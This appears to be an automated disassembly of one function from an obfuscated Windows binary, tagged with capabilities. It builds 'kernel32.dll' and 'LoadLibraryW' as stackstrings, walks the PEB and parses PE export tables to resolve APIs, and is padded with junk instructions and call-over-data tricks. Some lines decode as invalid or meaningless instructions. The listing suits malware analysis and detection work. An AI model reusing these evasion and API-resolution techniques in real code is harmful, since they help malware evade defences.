Function at 0x40ab37
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebx
and ebx, 0xf7b7
or ebx, 0xaeac
xor ebx, 0x141a6
add ebx, 0x139b6
pop ebx
push ecx
push edx
add esp, 4
add ecx, 0xa9b
pop ecx
push edi
push ecx
add esp, 4
add edi, 0x13e5e
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
and edx, 0x16596
or edx, 0xe39
call 0x40a949
add byte [edx + 0x35], al
xor bh, byte [edx]
inc esi
xor al, 0x34
inc esi
cmp esi, dword [edx]
add esp, 4
call 0x40a95a
add byte [eax], bh
xor al, 0x4a
cmp al, 0x45
inc eax
cmp dword [0x5a04c483], esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
and eax, 0x133df
pop eax
push esi
xor esi, 0x4017
pop ss
inc eax
add byte [eax], al
or esi, 0x11553
pop esi
push eax
and eax, 0x8404
pop eax
push edi
or edi, 0xf2a1
add edi, 0x5fae
or edi, 0x24f3
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x40aa04
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x40aa5e
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x40a92c
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x40a92c
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x40aa48
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x40aa52
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x40aaa7
push esi
or esi, 0x139ce
call 0x40aa7b
add byte [ebp + 0x42], al
cmp dword [esi + 0x32], ecx
inc edi
aaa
add esp, 4
sub esi, 0xd3ef
and esi, 0xe0b1
pop esi
push esi
add esi, 0x3abe
or esi, 0x16544
pop esi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x40ab0f
push edi
or edi, 0xe9f
or edi, 0x52de
sub edi, 0x14032
sub edi, 0x131c1
pop edi
push eax
push edi
add esp, 4
add eax, 0xbe75
sub eax, 0x707e
sub eax, 0x105fc
pop eax
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x40ab05
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x40a8d0
mov dword [ebp - 0x2a8], 0
push ebx
push ebx
add esp, 4
call 0x40ab22
add byte [esp + ecx*2], bh
cmp dh, byte [edi]
xor al, 0x3e
dec edx
push eax
add esp, 4
xor ebx, 0x6119
call 0x40ab37
add byte [0x3a4b3b4e], bh
inc eax
add esp, 4
add ebx, 0x10f0b
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x40b446
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
or eax, 0x11d29
xor eax, 0x8191
jmp 0x40abfa
sub eax, 0x2520
pop eax
push edi
push edx
add esp, 4
sub edi, 0xe4fe
xor edi, 0xa821
add edi, 0x134f7
pop edi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
and ecx, 0x174d4
or ecx, 0xdc15
pop ecx
push esi
push ebx
add esp, 4
jmp 0x40acb7
call 0x40acc5
add byte [0x4b38423d], bh
xor al, 0x47
inc ebp
add esp, 4
jmp 0x40accd
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x40ace6
mov dword [ebp - 0x710], 0
jmp 0x40af8d
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edx
xor edx, 0x14247
and edx, 0x10737
sub edx, 0xf2ee
sub edx, 0x78b6
pop edx
push eax
push ebx
add esp, 4
jmp 0x40ad1d
add eax, 0xcc67
or eax, 0xaf79
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x40ad42
mov dword [ebp - 0x710], 0
jmp 0x40af8d
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push eax
add esp, 4
jmp 0x40ad5b
sub esi, 0x7806
add esi, 0xf921
add esi, 0x2bdb
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0xf0c5
xor ecx, 0xcfd5
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push eax
add esp, 4
or esi, 0xb36a
call 0x40adc5
add byte [esi], bh
xor al, 0x3b
dec eax
inc edx
cmp al, 0x43
inc ecx
inc edx
dec esp
add esp, 4
call 0x40add8
add byte [esi], dh
inc ecx
dec esp
xor esi, dword [edi]
inc ecx
inc esp
inc edi
push eax
cmp dword [ebx - 0x74a1fb3c], eax
xchg ebp, eax
mov al, 0xf3
invalid
push eax
push ebx
add esp, 4
and eax, 0x16a52
sub eax, 0xcc99
xor eax, 0x222a
pop eax
push ebx
add ebx, 0x17219
sub ebx, 0xc3d5
or ebx, 0x1744b
and ebx, 0x8ac3
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x40b009
push ecx
push eax
add esp, 4
xor ecx, 0xe811
add ecx, 0x48bd
pop ecx
push eax
jmp 0x40afe4
pop eax
push edx
and edx, 0xa219
or edx, 0xc011
jmp 0x40aff9
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x40bb31
push edi
and edi, 0xfb24
add edi, 0x5b86
and edi, 0xf4c6
pop edi
push edi
push edi
add esp, 4
jmp 0x40b028
jmp 0x40b031
jmp 0x40b03a
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x40b07a
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40b36b
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x40b0a2
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40b36b
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x40b0d4
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x40b36b
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x40b0f9
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x40b36b
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x40b153
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x40b35f
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x40b1c3
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40b275
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x40b275
push eax
add eax, 0x7101
sub eax, 0x80ba
or eax, 0x15af5
or eax, 0x994f
pop eax
push ebx
push ebx
add esp, 4
jmp 0x40b215
and ebx, 0x1a14
xor ebx, 0xb724
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x40b267
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x40b26e
jmp 0x40b1b4
jmp 0x40b275
push ebx
push ecx
add esp, 4
or ebx, 0x16576
or ebx, 0xdc4f
pop ebx
push eax
or eax, 0x10578
xor eax, 0xc370
call 0x40b2a3
add byte [eax], bh
xor esi, dword [0x3b4e324b]
cmp eax, dword [ebx + eax*4 - 0x3c]
add al, 0x58
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x40b2d4
mov dword [ebp - 0xc5c], 0
jmp 0x40b343
push ecx
push eax
add esp, 4
xor ecx, 0x585a
and ecx, 0x715e
pop ecx
push esi
push edx
add esp, 4
jmp 0x40b2f3
and esi, 0xd0cc
xor esi, 0x6949
xor esi, 0xbaa5
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x40b339
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x40b343
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x40b35a
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x40b36b
jmp 0x40b144
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x40b446
push edi
push edi
add esp, 4
xor edi, 0x117d7
and edi, 0x16798
add edi, 0x1931
pop edi
push ebx
sub ebx, 0x132b0
call 0x40b3a6
add byte [ebp + 0x47], al
dec esp
xor ecx, dword [ebx + 0x4a]
inc ebx
inc ebp
dec edx
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ebx
call 0x40b3c4
add byte [0x33454037], dh
inc esi
dec eax
add esp, 4
pop ebx
push edx
sub edx, 0x13ac6
pop edx
push edx
push eax
add esp, 4
call 0x40b3e4
add byte [edi + 0x4f], al
xor al, 0x4e
dec edi
xor esi, dword [edi]
dec esi
dec edi
add esp, 4
pop edx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x40b446
push ebx
push edx
add esp, 4
add ebx, 0xa905
add ebx, 0x5ed5
jmp 0x40b41d
pop ebx
push edx
add edx, 0x6a38
or edx, 0xe070
jmp 0x40b430
or edx, 0x1705
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x40bb31
push esi
xor esi, 0xa0bb
xor esi, 0x1040a
call 0x40b463
add byte [edx], bh
inc edx
dec ecx
push eax
cmp eax, 0x3b36494e
aas
add esp, 4
pop esi
push esi
push edi
add esp, 4
or esi, 0xfef5
jmp 0x40b477
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push eax
add eax, 0x26dd
or eax, 0x335a
xor eax, 0x3ada
pop eax
push edi
push ecx
add esp, 4
add edi, 0x68aa
or edi, 0x7dce
and edi, 0x16912
or edi, 0x14c3e
pop edi
cmp dword [ebp - 0x1574], 0
jne 0x40b4ea
mov dword [ebp - 0x2a8], 0
jmp 0x40b791
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push esi
add esp, 4
add ecx, 0xd0b4
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0x13fbc
sub ebx, 0x17e94
pop ebx
push ecx
and ecx, 0x7160
or ecx, 0xfe5e
add ecx, 0x3c24
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x40b546
mov dword [ebp - 0x2a8], 0
jmp 0x40b791
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
push ecx
add esp, 4
add ecx, 0x58f5
call 0x40b56c
add byte [ebx + edi + 0x38], al
cmp al, 0x34
xor eax, 0x83363948
les eax, [ecx + eax*4]
shl dword [ebx], 0x3e
add dword [eax], eax
sub ecx, 0xfbf9
pop ecx
push edi
sub edi, 0x11f3b
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push ecx
add esp, 4
call 0x40b5c1
add byte [0x3e3d3e39], bh
dec ebp
dec ebp
dec eax
add esp, 4
or esi, 0x18683
call 0x40b5d6
add byte [esp + eax*2 + 0x3e], al
dec edx
xor eax, dword [ebx - 0x117efb3c]
push ebx
pop edi
add dword [eax], eax
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push esi
push eax
add esp, 4
or esi, 0xb159
jmp 0x40b648
pop esi
push ecx
and ecx, 0x13297
call 0x40b65f
add byte [ecx + 0x4b], cl
aas
dec eax
dec esp
dec edx
aaa
xor ecx, dword [ecx - 0x7d]
les eax, [ecx + eax*4]
leave
pop eax
mov al, byte [0xf590000]
mov bh, 0x4d
rol byte [ebp + 0xf1575c9], 0xb7
xchg ebp, eax
hlt
push ebx
push edi
add esp, 4
add ebx, 0xceb0
and ebx, 0x345a
or ebx, 0x8fca
xor ebx, 0xa532
pop ebx
push esi
add esi, 0x5af1
or esi, 0xcb3e
add esi, 0x14b7a
pop esi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ecx
push esi
add esp, 4
and ecx, 0x7e10
and ecx, 0x4a58
pop ecx
push edi
jmp 0x40b7ee
jmp 0x40b7f6
pop edi
push ecx
push ebx
add esp, 4
jmp 0x40b803
pop ecx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x40b834
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x40bb25
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x40b85c
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x40bb25
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x40b88e
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x40bb25
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x40b8b3
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x40bb25
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x40b90d
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x40bb19
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x40b97d
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40ba2f
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x40ba2f
push eax
push esi
add esp, 4
and eax, 0x1160c
add eax, 0x382d
xor eax, 0x6eb4
pop eax
push edx
xor edx, 0xf186
pop edx
push edi
push ecx
add esp, 4
and edi, 0xa6fc
xor edi, 0x3e1
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x40ba21
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x40ba28
jmp 0x40b96e
jmp 0x40ba2f
push eax
or eax, 0x151b2
call 0x40ba45
add byte [0x323f4344], bh
inc eax
xor eax, dword [edi + 0x4c]
add esp, 4
pop eax
push esi
push esi
add esp, 4
sub esi, 0x105a1
jmp 0x40ba5a
xor esi, 0x121da
pop esi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x40ba8e
mov dword [ebp - 0xc6c], 0
jmp 0x40bafd
push edx
xor edx, 0xa76c
or edx, 0x105cf
add edx, 0x52a7
jmp 0x40baa7
pop edx
push edi
push edi
add esp, 4
and edi, 0xa448
xor edi, 0x16e92
or edi, 0xfbb4
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x40baf3
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x40bafd
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x40bb14
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x40bb25
jmp 0x40b8fe
mov eax, dword [ebp - 0x730]
invalid